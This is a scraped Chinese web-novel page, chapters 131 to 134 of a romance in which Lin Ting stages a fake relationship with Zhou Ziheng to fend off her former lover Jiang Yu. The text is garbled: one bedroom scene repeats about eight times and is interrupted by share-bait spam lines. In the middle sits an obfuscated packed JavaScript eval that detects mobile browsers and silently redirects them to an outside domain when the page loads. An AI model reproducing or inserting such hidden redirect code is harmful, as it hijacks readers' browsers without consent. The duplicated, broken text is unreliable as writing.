那会儿她是学医的,选的中医相关的专业。 出狱的这两三年,她没身份没背景没文化,仅凭自己会弹钢琴,去做小时工,勉强能带着柚子糊口。 日子过得很艰难。 她想进修中医。 就算妈妈的那笔遗产能到手,也要有个长期发展的事业。 这会儿门口传来敲门声。 她起身去开了门。 “周自衡,你还没睡? “周二有个医药研发的学术研讨会,会去很多专家大佬,我带你一起去。 “哦! “给。 门口的周自衡,身着湖蓝色真丝短袖睡衣。 他递给林听一个盒子时,露在睡衣外面的小臂肌肉,结实有力。 脖间残留的水珠顺着性感喉结滚入衣襟。 这个男人举手投足间,裹胁着浓浓的男人荷尔蒙气息。 最终化作致命的吸引力。 以至于就算林听和周自衡从小一起长大,也不得不眼神回避。 这才慢了半拍,接过他手中的盒子,“……这是什么? 周自衡:“旗袍,学术研讨会的时候,你可以穿上它。希望你喜欢。 林听说了谢谢,周自衡站在门口,绅士道,“方便进去聊几句吗? 林听赶紧侧身让出位置,“当然! 两人走进屋里。 周自衡打量着她的卧室。 这还是她搬过来这么久以来,他第一次进她的卧室。 床头的那束洋桔梗,开得正鲜艳。 对周自衡来说,屋子里的空气,似乎比屋外的清新了许多,带着甜甜的气息。 “去试试,看看合不合适。 “如果不合适,我让设计师明天加急改出来。 林听把盒子打开,“定制的? “嗯,去试试。 一听是定制的,林听未免受宠若惊。 她赶紧去试衣间试了试。 试衣间屋门轻掩着,却突然传来一声林听 的尖叫。 “啊……嘶!“” 周自衡怕她出事,心一紧,什么也没想,直接推门而入,“没事吧?” 这一推门而入,两人顿时陷入尴尬的境地。 因为林听身上的旗袍穿了一半。 她的耳町套住了旗袍,取也不是,脱也不是。 稍微一用力,旗袍勾丝了。 她真不敢轻举妄动。 身上只穿了一套肤色的内衣内裤,就这么被周自衡看见了。 “不好意思!”周自衡赶紧退出去,在门外问,“用不用我帮忙?” 林听这会儿有些手忙脚乱,“不用,不过我的耳盯把旗袍勾丝了,真是不好意思。” 也不知怎的,耳朵一阵发烫。 想着刚刚被周自衡看光的场景,心跳漏掉半拍似的。 越是如此,越是手忙脚乱。 为了让耳町和旗袍分开,她用着蛮力。 一只白皙如玉的耳垂,顿时流出血来。 嘶……有些疼,不过好在终于是将耳町和旗袍分开了。 她赶紧穿好衣服,走出去,像个做错事的孩子一样,小心翼翼地看向周自衡: “周自衡,不好意思,旗袍被我勾丝了。” 她心里紧张尴尬,周自衡倒是泰然自若。 见到她耳畔出血了,他赶紧去拿了医药箱来,“坐下来,我帮你消毒。” “不用,这旗袍……” “旗袍没事,还可以修改。你的耳朵出血了,坐下来,我看看。” 不知是周自衡的声音太温柔,还是怎么的,林听竟然乖乖地坐了下来。 周自衡坐到了面前。 他温热的指腹,若有似无地抚着她的后颈,“过来一点,我不又不**。” 很快,浸着碘伏的棉签,轻柔地擦过她的耳垂。 明明冰冰凉凉,林听却觉得耳根发烫。 卧室突然变得极其安静。 安静到仿佛只能听见彼此的呼吸声。 林听睫毛轻颤,无比清晰地感受着此时此刻,周自衡带着体温的睡袍面料,轻轻蹭过她的脖颈。 混着雪松与沐浴露的男人气息,瞬间将她笼罩。 耳畔间的凉意消失了,她这才敢侧头望向周自衡。 那双目光像是浸在琥珀里的月光,平静地落在她的身上,没有丝毫波动,却又仿佛要将她的身影烙进眼底。 明明没有什么情绪,林听却有一种错觉。 她漏掉了心跳,壮起胆子,问,“周自衡,我怎么感觉,你这段时间对我这么好,好像是在取悦我?” 你的朋友正在书荒,快去帮帮他吧 的尖叫。 “啊……嘶!“” 周自衡怕她出事心一紧什么也没想直接推门而入“没事吧?” 这一推门而入两人顿时陷入尴尬的境地。 因为林听身上的旗袍穿了一半。 她的耳町套住了旗袍取也不是脱也不是。 稍微一用力旗袍勾丝了。 她真不敢轻举妄动。 身上只穿了一套肤色的内衣内裤就这么被周自衡看见了。 “不好意思!”周自衡赶紧退出去在门外问“用不用我帮忙?” 林听这会儿有些手忙脚乱“不用不过我的耳盯把旗袍勾丝了真是不好意思。” 也不知怎的耳朵一阵发烫。 想着刚刚被周自衡看光的场景心跳漏掉半拍似的。 越是如此越是手忙脚乱。 为了让耳町和旗袍分开她用着蛮力。 一只白皙如玉的耳垂顿时流出血来。 嘶……有些疼不过好在终于是将耳町和旗袍分开了。 她赶紧穿好衣服走出去像个做错事的孩子一样小心翼翼地看向周自衡: “周自衡不好意思旗袍被我勾丝了。” 她心里紧张尴尬周自衡倒是泰然自若。 见到她耳畔出血了他赶紧去拿了医药箱来“坐下来我帮你消毒。” “不用这旗袍……” “旗袍没事还可以修改。你的耳朵出血了坐下来我看看。” 不知是周自衡的声音太温柔还是怎么的林听竟然乖乖地坐了下来。 周自衡坐到了面前。 他温热的指腹若有似无地抚着她的后颈“过来一点我不又不**。” 很快浸着碘伏的棉签轻柔地擦过她的耳垂。 明明冰冰凉凉林听却觉得耳根发烫。 卧室突然变得极其安静。 安静到仿佛只能听见彼此的呼吸声。 林听睫毛轻颤无比清晰地感受着此时此刻 混着雪松与沐浴露的男人气息瞬间将她笼罩。 耳畔间的凉意消失了她这才敢侧头望向周自衡。 那双目光像是浸在琥珀里的月光平静地落在她的身上没有丝毫波动却又仿佛要将她的身影烙进眼底。 明明没有什么情绪林听却有一种错觉。 她漏掉了心跳壮起胆子问“周自衡我怎么感觉你这段时间对我这么好好像是在取悦我?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的尖叫。 “啊……嘶!“” 周自衡怕她出事,心一紧,什么也没想,直接推门而入,“没事吧?” 这一推门而入,两人顿时陷入尴尬的境地。 因为林听身上的旗袍穿了一半。 她的耳町套住了旗袍,取也不是,脱也不是。 稍微一用力,旗袍勾丝了。 她真不敢轻举妄动。 身上只穿了一套肤色的内衣内裤,就这么被周自衡看见了。 “不好意思!”周自衡赶紧退出去,在门外问,“用不用我帮忙?” 林听这会儿有些手忙脚乱,“不用,不过我的耳盯把旗袍勾丝了,真是不好意思。” 也不知怎的,耳朵一阵发烫。 想着刚刚被周自衡看光的场景,心跳漏掉半拍似的。 越是如此,越是手忙脚乱。 为了让耳町和旗袍分开,她用着蛮力。 一只白皙如玉的耳垂,顿时流出血来。 嘶……有些疼,不过好在终于是将耳町和旗袍分开了。 她赶紧穿好衣服,走出去,像个做错事的孩子一样,小心翼翼地看向周自衡: “周自衡,不好意思,旗袍被我勾丝了。” 她心里紧张尴尬,周自衡倒是泰然自若。 见到她耳畔出血了,他赶紧去拿了医药箱来,“坐下来,我帮你消毒。” “不用,这旗袍……” “旗袍没事,还可以修改。你的耳朵出血了,坐下来,我看看。” 不知是周自衡的声音太温柔,还是怎么的,林听竟然乖乖地坐了下来。 周自衡坐到了面前。 他温热的指腹,若有似无地抚着她的后颈,“过来一点,我不又不**。” 很快,浸着碘伏的棉签,轻柔地擦过她的耳垂。 明明冰冰凉凉,林听却觉得耳根发烫。 卧室突然变得极其安静。 安静到仿佛只能听见彼此的呼吸声。 林听睫毛轻颤,无比清晰地感受着此时此刻,周自衡带着体温的睡袍面料,轻轻蹭过她的脖颈。 混着雪松与沐浴露的男人气息,瞬间将她笼罩。 耳畔间的凉意消失了,她这才敢侧头望向周自衡。 那双目光像是浸在琥珀里的月光,平静地落在她的身上,没有丝毫波动,却又仿佛要将她的身影烙进眼底。 明明没有什么情绪,林听却有一种错觉。 她漏掉了心跳,壮起胆子,问,“周自衡,我怎么感觉,你这段时间对我这么好,好像是在取悦我?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 的尖叫。 “啊……嘶!“ 周自衡怕她出事,心一紧,什么也没想,直接推门而入,“没事吧? 这一推门而入,两人顿时陷入尴尬的境地。 因为林听身上的旗袍穿了一半。 她的耳町套住了旗袍,取也不是,脱也不是。 稍微一用力,旗袍勾丝了。 她真不敢轻举妄动。 身上只穿了一套肤色的内衣内裤,就这么被周自衡看见了。 “不好意思!周自衡赶紧退出去,在门外问,“用不用我帮忙? 林听这会儿有些手忙脚乱,“不用,不过我的耳盯把旗袍勾丝了,真是不好意思。 也不知怎的,耳朵一阵发烫。 想着刚刚被周自衡看光的场景,心跳漏掉半拍似的。 越是如此,越是手忙脚乱。 为了让耳町和旗袍分开,她用着蛮力。 一只白皙如玉的耳垂,顿时流出血来。 嘶……有些疼,不过好在终于是将耳町和旗袍分开了。 她赶紧穿好衣服,走出去,像个做错事的孩子一样,小心翼翼地看向周自衡: “周自衡,不好意思,旗袍被我勾丝了。 她心里紧张尴尬,周自衡倒是泰然自若。 见到她耳畔出血了,他赶紧去拿了医药箱来,“坐下来,我帮你消毒。 “不用,这旗袍…… “旗袍没事,还可以修改。你的耳朵出血了,坐下来,我看看。 不知是周自衡的声音太温柔,还是怎么的,林听竟然乖乖地坐了下来。 周自衡坐到了面前。 他温热的指腹,若有似无地抚着她的后颈,“过来一点,我不又不**。 很快,浸着碘伏的棉签,轻柔地擦过她的耳垂。 明明冰冰凉凉,林听却觉得耳根发烫。 卧室突然变得极其安静。 安静到仿佛只能听见彼此的呼吸声。 林听睫毛轻颤,无比清晰地感受着此时此刻,周自衡带着体温的睡袍面料,轻轻蹭过她的脖颈。 混着雪松与沐浴露的男人气息,瞬间将她笼罩。 耳畔间的凉意消失了,她这才敢侧头望向周自衡。 那双目光像是浸在琥珀里的月光,平静地落在她的身上,没有丝毫波动,却又仿佛要将她的身影烙进眼底。 明明没有什么情绪,林听却有一种错觉。 她漏掉了心跳,壮起胆子,问,“周自衡,我怎么感觉,你这段时间对我这么好,好像是在取悦我? 你的朋友正在书荒,快去帮帮他吧 的尖叫。 “啊……嘶!“” 周自衡怕她出事心一紧什么也没想直接推门而入“没事吧?” 这一推门而入两人顿时陷入尴尬的境地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743031|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 因为林听身上的旗袍穿了一半。 她的耳町套住了旗袍取也不是脱也不是。 稍微一用力旗袍勾丝了。 她真不敢轻举妄动。 身上只穿了一套肤色的内衣内裤就这么被周自衡看见了。 “不好意思!”周自衡赶紧退出去在门外问“用不用我帮忙?” 林听这会儿有些手忙脚乱“不用不过我的耳盯把旗袍勾丝了真是不好意思。” 也不知怎的耳朵一阵发烫。 想着刚刚被周自衡看光的场景心跳漏掉半拍似的。 越是如此越是手忙脚乱。 为了让耳町和旗袍分开她用着蛮力。 一只白皙如玉的耳垂顿时流出血来。 嘶……有些疼不过好在终于是将耳町和旗袍分开了。 她赶紧穿好衣服走出去像个做错事的孩子一样小心翼翼地看向周自衡: “周自衡不好意思旗袍被我勾丝了。” 她心里紧张尴尬周自衡倒是泰然自若。 见到她耳畔出血了他赶紧去拿了医药箱来“坐下来我帮你消毒。” “不用这旗袍……” “旗袍没事还可以修改。你的耳朵出血了坐下来我看看。” 不知是周自衡的声音太温柔还是怎么的林听竟然乖乖地坐了下来。 周自衡坐到了面前。 他温热的指腹若有似无地抚着她的后颈“过来一点我不又不**。” 很快浸着碘伏的棉签轻柔地擦过她的耳垂。 明明冰冰凉凉林听却觉得耳根发烫。 卧室突然变得极其安静。 安静到仿佛只能听见彼此的呼吸声。 林听睫毛轻颤无比清晰地感受着此时此刻周自衡带着体温的睡袍面料轻轻蹭过她的脖颈。 混着雪松与沐浴露的男人气息瞬间将她笼罩。 耳畔间的凉意消失了她这才敢侧头望向周自衡。 那双目光像是浸在琥珀里的月光平静地落在她的身上没有丝毫波动却又仿佛要将她的身影烙进眼底。 明明没有什么情绪林听却有一种错觉。 她漏掉了心跳壮起胆子问“周自衡 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 的尖叫。 “啊……嘶!“ 周自衡怕她出事,心一紧,什么也没想,直接推门而入,“没事吧? 这一推门而入,两人顿时陷入尴尬的境地。 因为林听身上的旗袍穿了一半。 她的耳町套住了旗袍,取也不是,脱也不是。 稍微一用力,旗袍勾丝了。 她真不敢轻举妄动。 身上只穿了一套肤色的内衣内裤,就这么被周自衡看见了。 “不好意思!周自衡赶紧退出去,在门外问,“用不用我帮忙? 林听这会儿有些手忙脚乱,“不用,不过我的耳盯把旗袍勾丝了,真是不好意思。 也不知怎的,耳朵一阵发烫。 想着刚刚被周自衡看光的场景,心跳漏掉半拍似的。 越是如此,越是手忙脚乱。 为了让耳町和旗袍分开,她用着蛮力。 一只白皙如玉的耳垂,顿时流出血来。 嘶……有些疼,不过好在终于是将耳町和旗袍分开了。 她赶紧穿好衣服,走出去,像个做错事的孩子一样,小心翼翼地看向周自衡: “周自衡,不好意思,旗袍被我勾丝了。 她心里紧张尴尬,周自衡倒是泰然自若。 见到她耳畔出血了,他赶紧去拿了医药箱来,“坐下来,我帮你消毒。 “不用,这旗袍…… “旗袍没事,还可以修改。你的耳朵出血了,坐下来,我看看。 不知是周自衡的声音太温柔,还是怎么的,林听竟然乖乖地坐了下来。 周自衡坐到了面前。 他温热的指腹,若有似无地抚着她的后颈,“过来一点,我不又不**。 很快,浸着碘伏的棉签,轻柔地擦过她的耳垂。 明明冰冰凉凉,林听却觉得耳根发烫。 卧室突然变得极其安静。 安静到仿佛只能听见彼此的呼吸声。 林听睫毛轻颤,无比清晰地感受着此时此刻,周自衡带着体温的睡袍面料,轻轻蹭过她的脖颈。 混着雪松与沐浴露的男人气息,瞬间将她笼罩。 耳畔间的凉意消失了,她这才敢侧头望向周自衡。 那双目光像是浸在琥珀里的月光,平静地落在她的身上,没有丝毫波动,却又仿佛要将她的身影烙进眼底。 明明没有什么情绪,林听却有一种错觉。 她漏掉了心跳,壮起胆子,问,“周自衡,我怎么感觉,你这段时间对我这么好,好像是在取悦我? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的尖叫。 “啊……嘶!“ 周自衡怕她出事,心一紧,什么也没想,直接推门而入,“没事吧? 这一推门而入,两人顿时陷入尴尬的境地。 因为林听身上的旗袍穿了一半。 她的耳町套住了旗袍,取也不是,脱也不是。 稍微一用力,旗袍勾丝了。 她真不敢轻举妄动。 身上只穿了一套肤色的内衣内裤,就这么被周自衡看见了。 “不好意思!周自衡赶紧退出去,在门外问,“用不用我帮忙? 林听这会儿有些手忙脚乱,“不用,不过我的耳盯把旗袍勾丝了,真是不好意思。 也不知怎的,耳朵一阵发烫。 想着刚刚被周自衡看光的场景,心跳漏掉半拍似的。 越是如此,越是手忙脚乱。 为了让耳町和旗袍分开,她用着蛮力。 一只白皙如玉的耳垂,顿时流出血来。 嘶……有些疼,不过好在终于是将耳町和旗袍分开了。 她赶紧穿好衣服,走出去,像个做错事的孩子一样,小心翼翼地看向周自衡: “周自衡,不好意思,旗袍被我勾丝了。 她心里紧张尴尬,周自衡倒是泰然自若。 见到她耳畔出血了,他赶紧去拿了医药箱来,“坐下来,我帮你消毒。 “不用,这旗袍…… “旗袍没事,还可以修改。你的耳朵出血了,坐下来,我看看。 不知是周自衡的声音太温柔,还是怎么的,林听竟然乖乖地坐了下来。 周自衡坐到了面前。 他温热的指腹,若有似无地抚着她的后颈,“过来一点,我不又不**。 很快,浸着碘伏的棉签,轻柔地擦过她的耳垂。 明明冰冰凉凉,林听却觉得耳根发烫。 卧室突然变得极其安静。 安静到仿佛只能听见彼此的呼吸声。 林听睫毛轻颤,无比清晰地感受着此时此刻,周自衡带着体温的睡袍面料,轻轻蹭过她的脖颈。 混着雪松与沐浴露的男人气息,瞬间将她笼罩。 耳畔间的凉意消失了,她这才敢侧头望向周自衡。 那双目光像是浸在琥珀里的月光,平静地落在她的身上,没有丝毫波动,却又仿佛要将她的身影烙进眼底。 明明没有什么情绪,林听却有一种错觉。 她漏掉了心跳,壮起胆子,问,“周自衡,我怎么感觉,你这段时间对我这么好,好像是在取悦我? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第132章 周自衡又在套路林听 “我有取悦到你?” 周自衡的目光依旧是沉静又毫无波动的。 没有急切的热烈,却带着某种穿透力。 他不动声色间,搅得林听心跳节奏乱了,“……” 见她耳根发烫,这般可爱模样,周自衡笑了笑: “林大小姐应该也不是如此轻易,就能被人取悦的。” 他笑着,又说,“这旗袍我让设计师加上一朵刺绣,不碍事的,时间不早了,早点睡,晚安。” 说着,周自衡拿着手中旗袍,起身离开。 走出林听的房门时,他特意将门用力拉紧。 站在门口,他做了一个长长的深呼吸。 心跳漏掉半后的,何止是门里的林听,更是门口的周自衡。 刚刚只差一点,他便同林听表白了。 可是他深知,如果轻易说出来,他和林听有可能连朋友也做不成。 他是那么害怕,失去她。 他告诉自己,时机还未成熟,他还需要更加耐心一些。 …… 门里面的林听,半天没反应过来。 所以,她问了周自衡,周自衡答了,又像没有回答似的,根本没有答案。 那他到底是不是在取悦她? 啊,啊,啊……不能再想下去了,继续想下去,她怕今晚她会睡不着觉。 她又看了会儿中医相关的医书。 入睡之前,周自衡夹杂着雪松与沐浴露的气息,似乎还萦绕在空气里,久久未散去。 …… 周二,林听将柚子拜托给宋律风和周国立张淑琴三人照顾。 她则和周自衡,去了隔壁的江市,参加医药研发学术研讨会。 抵达酒店后,洛高将二人的行李拎进酒店。 周自衡和林听下了车。 车子交由酒店的泊车人员。 来之前,林听便知道,江遇和江书臣也会来参加这场医药研发的学术研讨会。 因为这场大会,大佬和专家云集。 听说有几个医学大佬,是林江医药不惜花重金也要请回去的。 其中有个中医界的泰斗人物——薛志明。 林听想拜他为师。 如果能够师承薛老,能与其签订师承合同,并公证备案。 即使她的大学学籍被开除了,她依然能够继续走医学这条路。 她和周自衡,在酒店大厅,与江遇江书臣、夏静姝三人,不期而遇。 几人的目光撞在一起。 江遇的目光,落在林听身上。 又看了看她的无名指。 那里依然戴着那枚和周自衡一样的情侣钻戒。 就在这时,周自衡牵起林听的手。 酒店大厅,灯光流转。 两人拾指紧扣。 手上的钻戒,交相辉映,刚柔碰撞。 像是诉说着他们的恩爱与甜蜜。 江遇像是瞬间被按进了冰窟,握起拳头。 看着林听小鸟依人般站在周自衡的身侧,任由周自衡紧紧牵着,那些属于他和林听的温柔细节瞬间刺进心脏。 明明从前的时光里,林听只属于他一人。 只有他才有资格,这样紧紧地扣着林听的手。 转瞬间,林听身边站着的男人,却成了周自衡。 江遇蓦然握紧拳头。 拳头上的青筋,一根一根暴起。 江遇这一系列的情绪反应,被江书臣尽收眼底。 江书臣观察着江遇的各种情绪,完全没有注意到自己身侧的妻子夏静姝,正打量着林听身边的周自衡。 此时此刻,连夏静姝都有些羡慕林听了。 因为酒店大厅,上流人士进进出出,一个个虽是矜贵不凡。 可是包括江书臣和江遇这种卓越不凡男人,也依然无法和周自衡周身上下散发出的强烈的男人味,而相提并论。 周自衡这个男人,不愧是上流名媛圈子里,一个个宁愿倒贴,也想爬上他床的男人。 夏静姝也不例外。 尤其是周自衡重回周家,执掌周家家主之位后,夏静姝觉得这个男人更加让人着迷。 他身上的男人味,不同于丈夫江书臣的温润如玉,更有一种霸气与野性。 那样一个硬朗帅气的男人,偏偏只在林听面前,有了铁血柔情的一面。 周自衡牵着林听的手时,连他硬朗锐利的五官,也如同被柔化了,带着让人羡慕的柔情。 夏静姝看了看两人紧扣的拾指,又看了看两手手上戴着的同款情侣钻戒。 心中的羡慕,不知怎的,悄然变成了一抹嫉浓浓的嫉妒。 这嫉妒,甚至是带着火药味。 林听坐过牢,生过孩子,跟过江遇。 周自衡是怎样看上她的? 身侧的江书臣,提醒了江遇一句:“控制好你的情绪,别因为儿女情长耽误了正事。” 说罢,江书臣上前,和周自衡林听打了招呼,“阿衡,小听!” 两人齐声回应。 随即,周自衡牵着林听的手,微微侧眸,“我们回房吧。” 周自衡的一举一动,被夏静姝尽收眼底。 这个男人,竟然还是一个侧颜杀。 他就这么侧头,温柔地凝视着林听。 棱角分明近乎锋利的侧脸,以及他高挺的鼻尖,凸起的喉结,透着禁欲又勾人的张力。 都说喉结挺拔的男人,床上功夫,凶得厉害。 夏静姝好想尝试,周自衡那方面的本领。 她和江书臣结婚七八年了。 江书臣那方面的体力虽然很好,可是早就枯燥无味,毫无新花样了。 以至于夏静姝对周自衡这般充满性张力的男人,太过蠢蠢欲动。 就是这样一颗蠢蠢欲动的心,却掩饰在一张看似端庄高贵的皮囊之下。 此时,林听点头应了周自衡一声,“好。” 二人便手牵着手,离开了。 江遇看着二人离开酒店大厅,去那边等电梯。 从始自终,林听在他身上的目光不超过两秒钟。 他整个酒店大厅,顿时连空气都变得稀薄了。 江遇肺部有种窒息的炸裂感。 江书臣看他仍旧盯着远去的周自衡和林听,不由在他面前挥了挥手,“别看了,接受现实。” 谁让这个狗男人,当初非不听他的。 如果他肯听他的,能够从始自终相信林听,也不会走到今天这一步。 林听和周自衡进了电梯。 这时,林听才皱眉道,“周自衡,你刚刚有没有注意到夏静姝?” 周自衡淡淡道,“没有。” 对于别的女人,他从来不会多看一眼。 自然不知道,刚刚夏静姝打量他的目光,别提有多春心荡漾。 林听说不上是一种什么感觉,就觉得挺排斥的,“反正我总感觉,夏静姝看着你的目光,有点不太对劲儿。” 她想到夏静姝和书臣哥感情一直很好。 希望不是她多想了。 到了酒店房间门口,周自衡将房卡递给林听,“你的房间到了,我住你隔壁。” 林听接过房卡后,看周自衡走到了隔壁房间。 他正准备刷卡进门,林听疑惑道,“我们分开住吗?” 周自衡侧头望着她,她补充,“我的意思是说,江遇也在这家酒店,如果我们分开住的话,是不是就穿帮了?” 到时候,江遇如果知道他们只是假装谈恋爱,他又会像狗皮膏药一样纠缠不清。 不管江遇说什么,做什么,她都不再需要了。 那些过往的曾经,是她想要甩掉的。 江遇这个男人,也是她想要甩掉的。 周自衡看着她,淡淡道,“难道你打算邀请我,和你同寝一室?” 第133章 追妻套路有点深 林听握着房卡,朝周自衡上前了半步。 然后,解释道: “我的意思是说,我怕我们俩在江遇面前穿帮,所以你可不可以再帮帮我?” 江遇纠缠人的本事,林听是领教过的。 以前她和江遇谈恋爱的时候,如果他们吵架了,江遇一定是先低头认错的那个人。 年少时的她,多少有些任性。 仅仅只是因为一些小事,她就会生江遇好几天的气。 电话不接,短信不回,也不见面。 往往这个时候,江遇会放下手上所有的事情,一直追在她后面求原谅。 直到她原谅为止。 有时候,可能只是一些芝麻小事。 反正,那个时候的江遇,一切都以她为重。 就像现在这样。 他堂堂林江医药的负责人。 整个医药研发实验室,都是江遇在负责。 可是江遇说丢下实验室,就丢下了。 回忆起这些往事,林听胸口还是会泛起疼。 她怕更让她疼痛的是,见江遇一次,伤疤就会被血淋淋的再揭开一次。 总之,她想立刻和江遇划清界线。 不过用什么方法都行。 房门口的周自衡,没有立即回答林听。 他微微拧眉,似乎有些为难。 见到他这般神态,林听比了一个拜托的手势,满眼求助地看着他。 “周自衡,送佛送到西,帮人帮到底。” “拜托了!” 说完,她比了一个拜托的手势。 可怜巴巴地望着他。 那双清澈的大眼,此刻显得有些无措。 清澈的目光中,又映着她对周自衡的求助,也映着周自衡一脸“为难”的样子。 林听维持着拜托的手势,加深眼中的求助,“周自衡,拜托,拜托!” 周自衡淡淡道:“我不喜欢和任何人共寝一室。” 说完,他挑了挑眉,看似溺宠地揉了揉林听的脑袋: “不过,看在从小一起长大的份上,再帮你一次。” 随即,他抽走林听手中的房卡,去开隔壁的房门。 转身的那一瞬间,周自衡看似严肃的唇角却轻轻一扬,露出计划成功的笑意。 而林听,愣在原地。 刚刚周自衡摸她脑袋的时候,他身上那带着雪松味的男人气息,轻轻扫过。 像是山间清洌的风,拂面而过。 脑海里忽然闪过,昨晚换旗袍时,她身上只穿了一套内衣内裤,意外间被他撞见的样子。 丢死人了! 她和周自衡相处时,从来都是自然如多年的老朋友。 甚至随意如兄弟。 从来没有任何心理压力。 可是刚刚周自衡身上的雪松气息拂面而过时,再次让她心中涌出一种说不上来的感觉。 反正,没有之前那般自然了。 随着房门嘀嗒一声被打开。 周自衡看她站在门口发愣,他嘴角间笑意加深,“请吧,林大小姐。” 林听迈步走进去,很快压下心中的异样感,非常认真地申明道: “我可不再是林家大小姐了,现在我和林家没关系了。” 除了要拿回妈妈的遗产以外,她不会和林家人有任何交集。 自然,也不愿再当这个林家大小姐。 走进房门。 她和周自衡的行李,早已被洛高送了进来。 林听还嘀咕了一句,“洛高怎么知道,我要让你住我这里,连行李箱都帮你放好了。” 林听自然不知道,这不是洛高送的,是周自衡早就安排好的。 周自衡关了门,面上若无其事地走进去,“他可能送错了,不过正好,不用搬了。” 虽然这是一间足有一百多平的套房。 可是整个套房只有一张床。 沙发倒是挺大的。 周自衡看了看,“我不习惯睡沙发。” 林听也看了看整个卧室,只有一张床。 是她让周自衡来帮忙演戏给江遇看的,请人帮忙,哪有让人睡沙发的。 反正她不当林家千金大小姐的这些年,吃了很多苦。 睡沙发也无所谓。 况且,这张沙发可比她出租屋里的硬板床,好了不要太多。 她主动道,“你睡床,我睡沙发吧。” 这个时候,周自衡接到了江书臣的电话。 两兄弟聊了半分钟。 挂了电话,周自衡望向林听。 “书臣说,想请我们吃晚饭,你最喜欢的那家日料店。” “不过,如果你不想去,我就推掉。” 林听最喜欢的日料店,店名叫——樱川亭。 鹏城和江市,都有分店。 从鹏城坐飞机过来,天色渐晚。 这会儿,林听肚子确实是饿了。 加上是江书臣请客,她便没有拒绝,“去吧。” 周自衡特意问,“如果江遇也去……” 没等他说完,林听斩钉截铁,“他去不是更好,反正我没必要躲着他。” 说完,林听调皮一笑,“不是还有你,帮我挡着他吗。” 虽然见着江遇,确实会想起许多伤痛。 可是逃避不是办法。 …… 酒店2708号套房。 夏静姝看着挂了电话的江书臣,忙问, “怎么样,周自衡和小听答应一起吃晚饭了吗?” 江书臣点点头,“嗯,现在就过去。” “太好了!”夏静姝赶紧去换衣服。 一起吃日料的提议,是夏静姝提出的。 一来,她想和林听套近乎,毕竟从小到大她们都是好闺蜜。 林听进监狱之前,可是和她很要好的。 什么好吃的,好玩的,好用的,林听都会第一时间分享给她。 可是因为林江医药研发机密被窃一案,她误会了林听。 导致林听现在和她疏远了。 也想修复和林听之间的关系。 所以她选了林听最喜欢吃的那家日料店——樱川亭。 这是其一。 其二,夏静姝也不知是怎么的,好像着了魔似的。 脑海里不断地闪过周自衡那铁血刚毅,与柔情并存的英俊之姿。 如果晚上一起吃饭,她又可以见到周自衡。 所以换了一套漂亮的裙子后,她赶紧坐到梳妆镜前,开始补妆。 江书臣看了看手腕上的表,“静姝,我们约好的二十分钟后在日料店见面,现在要赶过去了,否则来不及了。” 夏静姝,“没事,等我补个妆,很快的。” 江书臣:“见小听和阿衡,又不是参加采访,随意一些,没关系的。” 夏静姝:“不行,你等我一下。” 自己的老婆,江书臣了解。 她最爱打扮。 就算是窝在家里,也会打扮得精致漂亮。 江书臣能拿她有什么办法,只能耐心地等着,期间还为夏静姝揉肩按摩。 “静姝,晚上比较凉,你要不要穿个外套。” “这条裙子穿外套就不漂亮了。” 江书臣只好脱下自己的西装,“披上,到了餐厅再脱,照样是美美的江太太。” 两人正要出门,在房间门口遇上了一个人。 第134章 迟来的深情比草贱 江遇正要敲门。 门被江书臣打开。 正好,他找他们有事。 于是,江遇直接开口: “书臣,你能不能以你的名字帮我把林听约出来,一起吃个晚饭?” 江书臣正想开口,夏静姝立马接了话: “我们已经约好了林听和周自衡了,去那家林听最喜欢的日料店——樱川亭。” “要不然,你和我们一起去吧。” 夏静姝心里打着小算盘。 虽然周自衡和林听戴了同款情侣戒指。 而且两人同时改了微信头像,算是官宣了。 可是,这两人不是还没结婚嘛。 别说没结婚,就是结婚了,以她的魅力,她夏静姝想要睡的男人,就没有睡不到的。 她打算支持江遇重新追求林听。 两人破镜重圆后,她就更有机会接近周自衡。 到时候,表面上,她和江书臣是恩爱夫妻。 暗地里,又可以和周自衡偷偷约会。 像周自衡那样充满男人味,周身上下兼并着铁血刚毅与柔情蜜意的男人,和他上床,不知道得有多刺激。 夏静姝想想就流了一地口水。 可她面上,端庄得体道,“江遇,你和小听是有感情基础的,我支持你重新把她追回来,加油!” 说完,夏静姝比了一个加油的手势。 这个手势,被江书臣拉回来,握在掌心里,“加什么油,你别添乱。阿衡和小听在一起,挺好的。” 江书臣并不支持,江遇和林听破镜重圆。 这时,江遇说,“我和你们一起去樱川亭。” 其实,江遇正是想借江书臣的名义,约林听去樱川亭吃日料。 林听所有的喜好,他都记得清清楚楚。 江书臣立即反驳,“你去吃什么日料,你一直海鲜过敏。” 这件事情,江书臣最清楚不过。 因为林听喜欢吃日料海鲜,江遇每次都不顾自己海鲜过敏,次次陪林听去鹏城的樱川亭。 去之前,江遇会提前吃抗过敏的药物。 林听进监狱前,他们从初中、高中、大学,一起走过了近十年的光景。 期间不知道吃了多少次日料。 可是为了陪林听,江遇从来没让林听知道,他海鲜过敏的事情。 这件事情,夏静姝并不知道,“你开什么玩笑,以前江遇陪林听吃了多少次樱川亭,他从来不会海鲜过敏。” …… 几公里外,樱川亭餐厅。 林听和周自衡已经到了。 服务生领他们去了包厢。 在包厢里,两人已经等了十几分钟了。 林听先点了一些菜,“不知道书臣哥他们什么时候到。” 说曹操,曹操到。 不过和江书臣一起进包厢的,除了夏静姝以外,还有林听这辈子永远也不想看到的男人——江遇。 这间包厢有着一扇宽十余米的,落地推拉门。 推拉门外,是一片静谧的湖畔。 湖畔边上,种满了樱花。 夜风习习,空气里是淡淡的樱花香味。 可是江遇自打进门后,见到林听和周自衡肩并着肩,坐在一起,这空气便变得窒息无比。 